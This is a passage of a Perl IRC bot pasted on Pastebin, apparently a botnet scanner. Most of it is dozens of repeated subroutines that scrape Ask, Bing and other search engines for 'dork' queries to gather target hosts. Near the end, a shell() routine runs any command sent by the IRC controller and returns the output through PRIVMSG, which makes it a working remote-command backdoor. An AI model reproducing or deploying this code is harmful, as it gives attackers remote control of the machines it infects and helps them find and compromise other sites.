  2642. push(@list,@grep);
  2643. }
  2644. }
  2645. }
  2646. return @list;
  2647. }
  2648.  
  2649. sub askRU() {
  2650. my @list;
  2651. my $key = $_[0];
  2652. for (my $i=1; $i<=500; $i+=30) {
  2653. my $search = ("http://ru.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2654. my $res = &search_engine_query($search);
  2655. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2656. my $link = $1;
  2657. if ($link !~ /askRU\.com/){
  2658. my @grep = links($link);
  2659. push(@list,@grep);
  2660. }
  2661. }
  2662. }
  2663. return @list;
  2664. }
  2665. sleep(4);
  2666. sub askNL() {
  2667. my @list;
  2668. my $key = $_[0];
  2669. for (my $i=1; $i<=500; $i+=30) {
  2670. my $search = ("http://nl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2671. my $res = &search_engine_query($search);
  2672. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2673. my $link = $1;
  2674. if ($link !~ /askNL\.com/){
  2675. my @grep = links($link);
  2676. push(@list,@grep);
  2677. }
  2678. }
  2679. }
  2680. return @list;
  2681. }
  2682.  
  2683. sub askPL() {
  2684. my @list;
  2685. my $key = $_[0];
  2686. for (my $i=1; $i<=500; $i+=30) {
  2687. my $search = ("http://pl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2688. my $res = &search_engine_query($search);
  2689. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2690. my $link = $1;
  2691. if ($link !~ /askPL\.com/){
  2692. my @grep = links($link);
  2693. push(@list,@grep);
  2694. }
  2695. }
  2696. }
  2697. return @list;
  2698. }
  2699.  
  2700. sub askAT() {
  2701. my @list;
  2702. my $key = $_[0];
  2703. for (my $i=1; $i<=500; $i+=30) {
  2704. my $search = ("http://at.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2705. my $res = &search_engine_query($search);
  2706. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2707. my $link = $1;
  2708. if ($link !~ /askAT\.com/){
  2709. my @grep = links($link);
  2710. push(@list,@grep);
  2711. }
  2712. }
  2713. }
  2714. return @list;
  2715. }
  2716.  
  2717. sub askSE() {
  2718. my @list;
  2719. my $key = $_[0];
  2720. for (my $i=1; $i<=500; $i+=30) {
  2721. my $search = ("http://se.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2722. my $res = &search_engine_query($search);
  2723. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2724. my $link = $1;
  2725. if ($link !~ /askSE\.com/){
  2726. my @grep = links($link);
  2727. push(@list,@grep);
  2728. }
  2729. }
  2730. }
  2731. return @list;
  2732. }
  2733.  
  2734. sub askDK() {
  2735. my @list;
  2736. my $key = $_[0];
  2737. for (my $i=1; $i<=500; $i+=30) {
  2738. my $search = ("http://dk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2739. my $res = &search_engine_query($search);
  2740. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2741. my $link = $1;
  2742. if ($link !~ /askDK\.com/){
  2743. my @grep = links($link);
  2744. push(@list,@grep);
  2745. }
  2746. }
  2747. }
  2748. return @list;
  2749. }
  2750.  
  2751. sub askNO() {
  2752. my @list;
  2753. my $key = $_[0];
  2754. for (my $i=1; $i<=500; $i+=30) {
  2755. my $search = ("http://no.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2756. my $res = &search_engine_query($search);
  2757. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2758. my $link = $1;
  2759. if ($link !~ /askNO\.com/){
  2760. my @grep = links($link);
  2761. push(@list,@grep);
  2762. }
  2763. }
  2764. }
  2765. return @list;
  2766. }
  2767. sleep(4);
  2768. sub askAU() {
  2769. my @list;
  2770. my $key = $_[0];
  2771. for (my $i=1; $i<=500; $i+=30) {
  2772. my $search = ("http://au.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2773. my $res = &search_engine_query($search);
  2774. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2775. my $link = $1;
  2776. if ($link !~ /askAU\.com/){
  2777. my @grep = links($link);
  2778. push(@list,@grep);
  2779. }
  2780. }
  2781. }
  2782. return @list;
  2783. }
  2784.  
  2785. sub askBR() {
  2786. my @list;
  2787. my $key = $_[0];
  2788. for (my $i=1; $i<=500; $i+=30) {
  2789. my $search = ("http://br.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2790. my $res = &search_engine_query($search);
  2791. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2792. my $link = $1;
  2793. if ($link !~ /askBR\.com/){
  2794. my @grep = links($link);
  2795. push(@list,@grep);
  2796. }
  2797. }
  2798. }
  2799. return @list;
  2800. }
  2801.  
  2802. sub askMX() {
  2803. my @list;
  2804. my $key = $_[0];
  2805. for (my $i=1; $i<=500; $i+=30) {
  2806. my $search = ("http://mx.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2807. my $res = &search_engine_query($search);
  2808. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2809. my $link = $1;
  2810. if ($link !~ /askMX\.com/){
  2811. my @grep = links($link);
  2812. push(@list,@grep);
  2813. }
  2814. }
  2815. }
  2816. return @list;
  2817. }
  2818. sleep(4);
  2819. sub askJP() {
  2820. my @list;
  2821. my $key = $_[0];
  2822. for (my $i=1; $i<=500; $i+=30) {
  2823. my $search = ("http://jp.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  2824. my $res = &search_engine_query($search);
  2825. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  2826. my $link = $1;
  2827. if ($link !~ /askJP\.com/){
  2828. my @grep = links($link);
  2829. push(@list,@grep);
  2830. }
  2831. }
  2832. }
  2833. return @list;
  2834. }
  2835.  
  2836. sub onet() {
  2837. my @list;
  2838. my $key = $_[0];
  2839. my $b = 0;
  2840. for ($b=1; $b<=400; $b+=10) {
  2841. my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
  2842. my $res = &search_engine_query($search);
  2843. while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
  2844. my $link = $1;
  2845. if ($link !~ /onet|webcache|query/){
  2846. my @grep = &links($link);
  2847. push(@list,@grep);
  2848. }
  2849. }
  2850. }
  2851. return @list;
  2852. }
  2853.  
  2854. sub clusty() {
  2855. my @list;
  2856. my $key = $_[0];
  2857. my $b = 0;
  2858. for ($b=10; $b<=200; $b+=10) {
  2859. my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
  2860. my $res = &search_engine_query($search);
  2861. if ($res !~ /next/) {$b=100;}
  2862. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  2863. my $link = $1;
  2864. if ($1 !~ /yippy\.com/){
  2865. my @grep = &links($link);
  2866. push(@list,@grep);
  2867. }
  2868. }
  2869. }
  2870. return @list;
  2871. }
  2872.  
  2873. sub bing() {
  2874. my @list;
  2875. my $key = $_[0];
  2876. for (my $i=1; $i<=400; $i+=10) {
  2877. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
  2878. my $res = &search_engine_query($search);
  2879. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  2880. my $link = $1;
  2881. if ($link !~ /google/) {
  2882. my @grep = &links($link);
  2883. push(@list,@grep);
  2884. }
  2885. }
  2886. }
  2887. return @list;
  2888. }
  2889.  
  2890. sub bingDE() {
  2891. my @list;
  2892. my $key = $_[0];
  2893. for (my $i=1; $i<=1000; $i+=100) {
  2894. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=de&rf=1&first=".$i."&FORM=PORE");
  2895. my $res = &search_engine_query($search);
  2896. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  2897. my $link = $1;
  2898. if ($link !~ /msn|live|bingDE/) {
  2899. my @grep = links($link);
  2900. push(@list,@grep);
  2901. }
  2902. }
  2903. }
  2904. return @list;
  2905. }
  2906. sleep(4);
  2907. sub bingUK() {
  2908. my @list;
  2909. my $key = $_[0];
  2910. for (my $i=1; $i<=1000; $i+=100) {
  2911. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=uk&rf=1&first=".$i."&FORM=PORE");
  2912. my $res = &search_engine_query($search);
  2913. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  2914. my $link = $1;
  2915. if ($link !~ /msn|live|bingUK/) {
  2916. my @grep = links($link);
  2917. push(@list,@grep);
  2918. }
  2919. }
  2920. }
  2921. return @list;
  2922. }
  2923.  
  2924. sub bingCA() {
  2925. my @list;
  2926. my $key = $_[0];
  2927. for (my $i=1; $i<=1000; $i+=100) {
  2928. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ca&rf=1&first=".$i."&FORM=PORE");
  2929. my $res = &search_engine_query($search);
  2930. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  2931. my $link = $1;
  2932. if ($link !~ /msn|live|bingCA/) {
  2933. my @grep = links($link);
  2934. push(@list,@grep);
  2935. }
  2936. }
  2937. }
  2938. return @list;
  2939. }
  2940.  
  2941. sub bingBR() {
  2942. my @list;
  2943. my $key = $_[0];
  2944. for (my $i=1; $i<=1000; $i+=100) {
  2945. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=br&rf=1&first=".$i."&FORM=PORE");
  2946. my $res = &search_engine_query($search);
  2947. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  2948. my $link = $1;
  2949. if ($link !~ /msn|live|bingBR/) {
  2950. my @grep = links($link);
  2951. push(@list,@grep);
  2952. }
  2953. }
  2954. }
  2955. return @list;
  2956. }
  2957.  
  2958. sub bingFR() {
  2959. my @list;
  2960. my $key = $_[0];
  2961. for (my $i=1; $i<=1000; $i+=100) {
  2962. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=fr&rf=1&first=".$i."&FORM=PORE");
  2963. my $res = &search_engine_query($search);
  2964. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  2965. my $link = $1;
  2966. if ($link !~ /msn|live|bingFR/) {
  2967. my @grep = links($link);
  2968. push(@list,@grep);
  2969. }
  2970. }
  2971. }
  2972. return @list;
  2973. }
  2974.  
  2975. sub bingES() {
  2976. my @list;
  2977. my $key = $_[0];
  2978. for (my $i=1; $i<=1000; $i+=100) {
  2979. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=es&rf=1&first=".$i."&FORM=PORE");
  2980. my $res = &search_engine_query($search);
  2981. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  2982. my $link = $1;
  2983. if ($link !~ /msn|live|bingES/) {
  2984. my @grep = links($link);
  2985. push(@list,@grep);
  2986. }
  2987. }
  2988. }
  2989. return @list;
  2990. }
  2991.  
  2992. sub bingIT() {
  2993. my @list;
  2994. my $key = $_[0];
  2995. for (my $i=1; $i<=1000; $i+=100) {
  2996. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=it&rf=1&first=".$i."&FORM=PORE");
  2997. my $res = &search_engine_query($search);
  2998. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  2999. my $link = $1;
  3000. if ($link !~ /msn|live|bingIT/) {
  3001. my @grep = links($link);
  3002. push(@list,@grep);
  3003. }
  3004. }
  3005. }
  3006. return @list;
  3007. }
  3008. sleep(4);
  3009. sub bingBE() {
  3010. my @list;
  3011. my $key = $_[0];
  3012. for (my $i=1; $i<=1000; $i+=100) {
  3013. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=be&rf=1&first=".$i."&FORM=PORE");
  3014. my $res = &search_engine_query($search);
  3015. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3016. my $link = $1;
  3017. if ($link !~ /msn|live|bingBE/) {
  3018. my @grep = links($link);
  3019. push(@list,@grep);
  3020. }
  3021. }
  3022. }
  3023. return @list;
  3024. }
  3025.  
  3026. sub bingNL() {
  3027. my @list;
  3028. my $key = $_[0];
  3029. for (my $i=1; $i<=1000; $i+=100) {
  3030. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nl&rf=1&first=".$i."&FORM=PORE");
  3031. my $res = &search_engine_query($search);
  3032. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3033. my $link = $1;
  3034. if ($link !~ /msn|live|bingNL/) {
  3035. my @grep = links($link);
  3036. push(@list,@grep);
  3037. }
  3038. }
  3039. }
  3040. return @list;
  3041. }
  3042.  
  3043. sub bingPT() {
  3044. my @list;
  3045. my $key = $_[0];
  3046. for (my $i=1; $i<=1000; $i+=100) {
  3047. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=pt&rf=1&first=".$i."&FORM=PORE");
  3048. my $res = &search_engine_query($search);
  3049. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3050. my $link = $1;
  3051. if ($link !~ /msn|live|bingPT/) {
  3052. my @grep = links($link);
  3053. push(@list,@grep);
  3054. }
  3055. }
  3056. }
  3057. return @list;
  3058. }
  3059.  
  3060. sub bingNO() {
  3061. my @list;
  3062. my $key = $_[0];
  3063. for (my $i=1; $i<=1000; $i+=100) {
  3064. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=no&rf=1&first=".$i."&FORM=PORE");
  3065. my $res = &search_engine_query($search);
  3066. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3067. my $link = $1;
  3068. if ($link !~ /msn|live|bingNO/) {
  3069. my @grep = links($link);
  3070. push(@list,@grep);
  3071. }
  3072. }
  3073. }
  3074. return @list;
  3075. }
  3076.  
  3077. sub bingDK() {
  3078. my @list;
  3079. my $key = $_[0];
  3080. for (my $i=1; $i<=1000; $i+=100) {
  3081. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=dk&rf=1&first=".$i."&FORM=PORE");
  3082. my $res = &search_engine_query($search);
  3083. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3084. my $link = $1;
  3085. if ($link !~ /msn|live|bingDK/) {
  3086. my @grep = links($link);
  3087. push(@list,@grep);
  3088. }
  3089. }
  3090. }
  3091. return @list;
  3092. }
  3093.  
  3094. sub bingSE() {
  3095. my @list;
  3096. my $key = $_[0];
  3097. for (my $i=1; $i<=1000; $i+=100) {
  3098. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=se&rf=1&first=".$i."&FORM=PORE");
  3099. my $res = &search_engine_query($search);
  3100. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3101. my $link = $1;
  3102. if ($link !~ /msn|live|bingSE/) {
  3103. my @grep = links($link);
  3104. push(@list,@grep);
  3105. }
  3106. }
  3107. }
  3108. return @list;
  3109. }
  3110. sleep(4);
  3111. sub bingCH() {
  3112. my @list;
  3113. my $key = $_[0];
  3114. for (my $i=1; $i<=1000; $i+=100) {
  3115. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ch&rf=1&first=".$i."&FORM=PORE");
  3116. my $res = &search_engine_query($search);
  3117. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3118. my $link = $1;
  3119. if ($link !~ /msn|live|bingCH/) {
  3120. my @grep = links($link);
  3121. push(@list,@grep);
  3122. }
  3123. }
  3124. }
  3125. return @list;
  3126. }
  3127.  
  3128. sub bingNZ() {
  3129. my @list;
  3130. my $key = $_[0];
  3131. for (my $i=1; $i<=1000; $i+=100) {
  3132. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nz&rf=1&first=".$i."&FORM=PORE");
  3133. my $res = &search_engine_query($search);
  3134. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3135. my $link = $1;
  3136. if ($link !~ /msn|live|bingNZ/) {
  3137. my @grep = links($link);
  3138. push(@list,@grep);
  3139. }
  3140. }
  3141. }
  3142. return @list;
  3143. }
  3144.  
  3145. sub bingRU() {
  3146. my @list;
  3147. my $key = $_[0];
  3148. for (my $i=1; $i<=1000; $i+=100) {
  3149. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ru&rf=1&first=".$i."&FORM=PORE");
  3150. my $res = &search_engine_query($search);
  3151. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3152. my $link = $1;
  3153. if ($link !~ /msn|live|bingRU/) {
  3154. my @grep = links($link);
  3155. push(@list,@grep);
  3156. }
  3157. }
  3158. }
  3159. return @list;
  3160. }
  3161.  
  3162. sub bingJP() {
  3163. my @list;
  3164. my $key = $_[0];
  3165. for (my $i=1; $i<=1000; $i+=100) {
  3166. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=jp&rf=1&first=".$i."&FORM=PORE");
  3167. my $res = &search_engine_query($search);
  3168. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3169. my $link = $1;
  3170. if ($link !~ /msn|live|bingJP/) {
  3171. my @grep = links($link);
  3172. push(@list,@grep);
  3173. }
  3174. }
  3175. }
  3176. return @list;
  3177. }
  3178.  
  3179. sub bingCN() {
  3180. my @list;
  3181. my $key = $_[0];
  3182. for (my $i=1; $i<=1000; $i+=100) {
  3183. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cn&rf=1&first=".$i."&FORM=PORE");
  3184. my $res = &search_engine_query($search);
  3185. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3186. my $link = $1;
  3187. if ($link !~ /msn|live|bingCN/) {
  3188. my @grep = links($link);
  3189. push(@list,@grep);
  3190. }
  3191. }
  3192. }
  3193. return @list;
  3194. }
  3195.  
  3196. sub bingKR() {
  3197. my @list;
  3198. my $key = $_[0];
  3199. for (my $i=1; $i<=1000; $i+=100) {
  3200. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=kr&rf=1&first=".$i."&FORM=PORE");
  3201. my $res = &search_engine_query($search);
  3202. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3203. my $link = $1;
  3204. if ($link !~ /msn|live|bingKR/) {
  3205. my @grep = links($link);
  3206. push(@list,@grep);
  3207. }
  3208. }
  3209. }
  3210. return @list;
  3211. }
  3212. sleep(4);
  3213. sub bingMX() {
  3214. my @list;
  3215. my $key = $_[0];
  3216. for (my $i=1; $i<=1000; $i+=100) {
  3217. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=mx&rf=1&first=".$i."&FORM=PORE");
  3218. my $res = &search_engine_query($search);
  3219. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3220. my $link = $1;
  3221. if ($link !~ /msn|live|bingMX/) {
  3222. my @grep = links($link);
  3223. push(@list,@grep);
  3224. }
  3225. }
  3226. }
  3227. return @list;
  3228. }
  3229.  
  3230. sub bingAR() {
  3231. my @list;
  3232. my $key = $_[0];
  3233. for (my $i=1; $i<=1000; $i+=100) {
  3234. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ar&rf=1&first=".$i."&FORM=PORE");
  3235. my $res = &search_engine_query($search);
  3236. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3237. my $link = $1;
  3238. if ($link !~ /msn|live|bingAR/) {
  3239. my @grep = links($link);
  3240. push(@list,@grep);
  3241. }
  3242. }
  3243. }
  3244. return @list;
  3245. }
  3246.  
  3247. sub bingCL() {
  3248. my @list;
  3249. my $key = $_[0];
  3250. for (my $i=1; $i<=1000; $i+=100) {
  3251. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cl&rf=1&first=".$i."&FORM=PORE");
  3252. my $res = &search_engine_query($search);
  3253. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3254. my $link = $1;
  3255. if ($link !~ /msn|live|bingCL/) {
  3256. my @grep = links($link);
  3257. push(@list,@grep);
  3258. }
  3259. }
  3260. }
  3261. return @list;
  3262. }
  3263.  
  3264. sub bingAU() {
  3265. my @list;
  3266. my $key = $_[0];
  3267. for (my $i=1; $i<=1000; $i+=100) {
  3268. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=au&rf=1&first=".$i."&FORM=PORE");
  3269. my $res = &search_engine_query($search);
  3270. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3271. my $link = $1;
  3272. if ($link !~ /msn|live|bingAU/) {
  3273. my @grep = links($link);
  3274. push(@list,@grep);
  3275. }
  3276. }
  3277. }
  3278. return @list;
  3279. }
  3280. #########################################
  3281.  
  3282. sub clean() {
  3283. my @cln = ();
  3284. my %visit = ();
  3285. foreach my $element (@_) {
  3286. $element =~ s/\/+/\//g;
  3287. next if $visit{$element}++;
  3288. push @cln, $element;
  3289. }
  3290. return @cln;
  3291. }
  3292.  
  3293. sub key() {
  3294. my $dork = $_[0];
  3295. $dork =~ s/ /\+/g;
  3296. $dork =~ s/:/\%3A/g;
  3297. $dork =~ s/\//\%2F/g;
  3298. $dork =~ s/\?/\%3F/g;
  3299. $dork =~ s/&/\%26/g;
  3300. $dork =~ s/\"/\%22/g;
  3301. $dork =~ s/,/\%2C/g;
  3302. $dork =~ s/\\/\%5C/g;
  3303. $dork =~ s/@/\%40/g;
  3304. $dork =~ s/\[/\%5B/g;
  3305. $dork =~ s/\]/\%5D/g;
  3306. $dork =~ s/\?/\%3F/g;
  3307. $dork =~ s/\=/\%3D/g;
  3308. $dork =~ s/\|/\%7C/g;
  3309. return $dork;
  3310. }
  3311.  
  3312. sub links() {
  3313. my @list;
  3314. my $link = $_[0];
  3315. my $host = $_[0];
  3316. my $hdir = $_[0];
  3317. $hdir =~ s/(.*)\/[^\/]*$/\1/;
  3318. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  3319. $host .= "/";
  3320. $link .= "/";
  3321. $hdir .= "/";
  3322. $host =~ s/\/\//\//g;
  3323. $hdir =~ s/\/\//\//g;
  3324. $link =~ s/\/\//\//g;
  3325. push(@list,$link,$host,$hdir);
  3326. return @list;
  3327. }
  3328.  
  3329. sub search_engine_query() {
  3330. my $url = $_[0];
  3331. $url =~ s/http:\/\///;
  3332. my $host = $url;
  3333. my $query = $url;
  3334. my $page = "";
  3335. $host =~ s/href=\"?http:\/\///;
  3336. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  3337. $query =~ s/$host//;
  3338. if ($query eq "") { $query = "/"; }
  3339. eval {
  3340. my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  3341. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
  3342. my @pages = <$sock>;
  3343. $page = "@pages";
  3344. close($sock);
  3345. };
  3346. return $page;
  3347. }
  3348.  
  3349. #########################################
  3350.  
  3351. sub shell() {
  3352. my $path = $_[0];
  3353. my $cmd = $_[1];
  3354. if ($cmd =~ /cd (.*)/) {
  3355. chdir("$1") || &msg("$path","No such file or directory");
  3356. return;
  3357. }
  3358. elsif ($pid = fork) { waitpid($pid, 0); }
  3359. else { if (fork) { exit; } else {
  3360. my @output = `$cmd 2>&1 3>&1`;
  3361. my $c = 0;
  3362. foreach my $output (@output) {
  3363. $c++;
  3364. chop $output;
  3365. &msg("$path","$output");
  3366. if ($c == 5) { $c = 0; sleep 3; }
  3367. }
  3368. exit;
  3369. }}
  3370. }
  3371.  
  3372. sub isAdmin() {
  3373. my $status = 0;
  3374. my $nick = $_[0];
  3375. if ($nick eq $admin) { $status = 1; }
  3376. return $status;
  3377. }
  3378.  
  3379. sub msg() {
  3380. return unless $#_ == 1;
  3381. sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  3382. }
  3383.  
  3384. sub nick() {
  3385. return unless $#_ == 0;
  3386. sendraw("NICK $_[0]");
  3387. }
  3388.  
  3389. sub notice() {
  3390. return unless $#_ == 1;
  3391. sendraw("NOTICE $_[0] :$_[1]");
  3392. }
  3393.  
  3394. sub read_dorks() {
  3395. my $dork = uri_escape($_[0]);
  3396. my $file = "dorks.txt";
  3397. my $success = 0;
  3398. open (file,"<$file");
  3399. while (my $dorkx=<file>) {
  3400. chop($dorkx);
  3401. if ($dorkx =~ /$dork/){
  3402. $success = 1;
  3403. }
  3404. }
  3405. close file;
  3406. return $success;
  3407. }
  3408.  
  3409. sub write_dorks() {
  3410. my $dorks = uri_escape($_[0]);
  3411. my $file = "dorks.txt";
  3412. open (filex,">>$file");
  3413. print filex $dorks."\n";
  3414. close filex;
  3415. }
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!